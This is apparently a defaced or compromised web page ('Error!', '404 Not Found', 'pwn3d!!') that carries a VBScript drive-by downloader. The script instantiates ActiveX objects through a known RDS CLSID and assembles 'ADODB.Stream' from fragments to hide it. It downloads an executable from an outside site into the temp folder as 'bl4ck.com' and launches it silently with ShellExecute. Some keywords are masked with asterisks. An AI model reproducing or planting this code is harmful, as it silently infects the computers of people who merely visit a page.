Error!
<****** ********="VB******">
on error resume next
' due to how ajax works, the file MUST be within the same local domain
dl = "http://www.anger-ps.com/upload/do.php?filename=1362382411431.exe"
' create adodbstream ******
Set df = ********.createElement("******")
df.setAttribute "*******", ******:BD96C556-65A3-11D0-983A-00C04FC29E36"
str="Microsoft.XMLHTTP"
Set x = df.Create******(str,"")
a1="Ado"
a2="db."
a3="Str"
a4="eam"
str1=a1&a2&a3&a4
str5=str1
set S = df.create******(str5,"")
S.type = 1
' xml ajax req
str6="GET"
x.Open str6, dl, False
x.Send
' Get temp directory and create our destination name
fname1="bl4ck.com"
set F = df.create******("******ing.FileSystem******","")
set tmp = F.GetSpecialFolder(2) ' Get tmp folder
fname1= F.BuildPath(tmp,fname1)
S.open
' open adodb stream and write *******s of request to file
' like vbs dl+exec code
S.write x.responseBody
' Saves it with CreateOverwrite flag
S.savetofile fname1,2
S.close
set Q = df.create******("****l.Application","")
Q.****lExecute fname1,"","","open",0
[BL4CK] || 404 Not Found
Not Found
pwn3d!!
